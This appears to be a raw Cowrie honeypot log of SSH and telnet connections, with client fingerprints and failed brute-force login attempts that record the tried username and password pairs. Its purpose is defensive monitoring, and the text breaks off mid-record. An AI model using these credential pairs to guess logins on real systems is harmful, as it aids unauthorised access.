{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:23.967877Z","src_ip":"192.163.244.125","session":"f15913ef6b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftx","password":"ftx123","message":"login attempt [ftx/ftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:24.179909Z","src_ip":"192.163.244.125","session":"f15913ef6b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf48f8acd22","protocol":"ssh","message":"New connection: 201.222.20.20:39546 (10.17.0.5:22) [session: 1cf48f8acd22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:24.354719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:24.358582Z","src_ip":"201.222.20.20","session":"1cf48f8acd22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:24.476656Z","src_ip":"201.222.20.20","session":"1cf48f8acd22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangfeng","message":"login attempt [root/wangfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:24.988021Z","src_ip":"201.222.20.20","session":"1cf48f8acd22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:25.252575Z","src_ip":"192.163.244.125","session":"f15913ef6b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:26.108752Z","src_ip":"201.222.20.20","session":"1cf48f8acd22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb652c22fa58","protocol":"ssh","message":"New connection: 192.169.197.250:49800 (159.203.135.109:22) [session: bb652c22fa58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:26.425454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:26.429174Z","src_ip":"192.169.197.250","session":"bb652c22fa58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:26.494256Z","src_ip":"192.169.197.250","session":"bb652c22fa58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"genesis2024","message":"login attempt [root/genesis2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:26.692356Z","src_ip":"192.169.197.250","session":"bb652c22fa58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:27.761939Z","src_ip":"192.169.197.250","session":"bb652c22fa58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":45646,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5f893ef03f","protocol":"ssh","message":"New connection: 14.29.214.161:45646 (10.17.0.5:22) [session: fc5f893ef03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:29.536191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:29.542834Z","src_ip":"14.29.214.161","session":"fc5f893ef03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:29.791657Z","src_ip":"14.29.214.161","session":"fc5f893ef03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza123","message":"login attempt [root/reza123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:30.821825Z","src_ip":"14.29.214.161","session":"fc5f893ef03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:32.074198Z","src_ip":"14.29.214.161","session":"fc5f893ef03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48528,"dst_ip":"159.203.135.109","dst_port":23,"session":"1572bb7045d7","protocol":"telnet","message":"New connection: 170.64.224.25:48528 (159.203.135.109:23) [session: 1572bb7045d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:42.336333Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":42126,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ee9d3deb4b","protocol":"ssh","message":"New connection: 119.203.251.187:42126 (10.17.0.5:22) [session: 23ee9d3deb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:42.390312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:42.394305Z","src_ip":"119.203.251.187","session":"23ee9d3deb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:42.588632Z","src_ip":"119.203.251.187","session":"23ee9d3deb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"li123321","message":"login attempt [root/li123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:43.398110Z","src_ip":"119.203.251.187","session":"23ee9d3deb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:44.595011Z","src_ip":"119.203.251.187","session":"23ee9d3deb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56332,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95e9e904c16","protocol":"ssh","message":"New connection: 8.210.75.243:56332 (10.17.0.5:22) [session: c95e9e904c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:46.992249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:46.995821Z","src_ip":"8.210.75.243","session":"c95e9e904c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.35286903381348,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:54.833671Z","src_ip":"170.64.224.25","session":"3c8bb7e85038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43226,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2bbfab6249","protocol":"ssh","message":"New connection: 103.176.20.57:43226 (10.17.0.5:22) [session: 7f2bbfab6249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.122104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.125967Z","src_ip":"103.176.20.57","session":"7f2bbfab6249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.377018Z","src_ip":"103.176.20.57","session":"7f2bbfab6249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":55960,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33203790ecd","protocol":"ssh","message":"New connection: 45.148.10.121:55960 (159.203.135.109:22) [session: b33203790ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.621908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.676549Z","src_ip":"45.148.10.121","session":"b33203790ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:56.771029Z","src_ip":"45.148.10.121","session":"b33203790ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852741a","message":"login attempt [root/963852741a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:57.135435Z","src_ip":"103.176.20.57","session":"7f2bbfab6249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:58.390301Z","src_ip":"8.210.75.243","session":"ed4ab19927b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:14:58.393189Z","src_ip":"103.176.20.57","session":"7f2bbfab6249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":49610,"dst_ip":"10.17.0.5","dst_port":22,"session":"2865a2f8288f","protocol":"ssh","message":"New connection: 23.88.42.180:49610 (10.17.0.5:22) [session: 2865a2f8288f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:00.261084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:00.265241Z","src_ip":"23.88.42.180","session":"2865a2f8288f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:00.360210Z","src_ip":"23.88.42.180","session":"2865a2f8288f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kas","password":"kas123","message":"login attempt [kas/kas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:00.649215Z","src_ip":"23.88.42.180","session":"2865a2f8288f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:01.749363Z","src_ip":"23.88.42.180","session":"2865a2f8288f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.44324707984924,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:08.756354Z","src_ip":"170.64.224.25","session":"402ca0921eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:10.703888Z","src_ip":"8.210.75.243","session":"01c997715a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.60799241065979,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:12.523837Z","src_ip":"137.184.5.188","session":"753e2aa15c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.6473445892334,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:14.827365Z","src_ip":"137.184.5.188","session":"d597ff611ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.961915016174316,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:20.298131Z","src_ip":"170.64.224.25","session":"1572bb7045d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":45962,"dst_ip":"10.17.0.5","dst_port":22,"session":"537ae103be24","protocol":"ssh","message":"New connection: 91.92.40.4:45962 (10.17.0.5:22) [session: 537ae103be24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:20.695658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:15:20.700319Z","src_ip":"91.92.40.4","session":"537ae103be24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c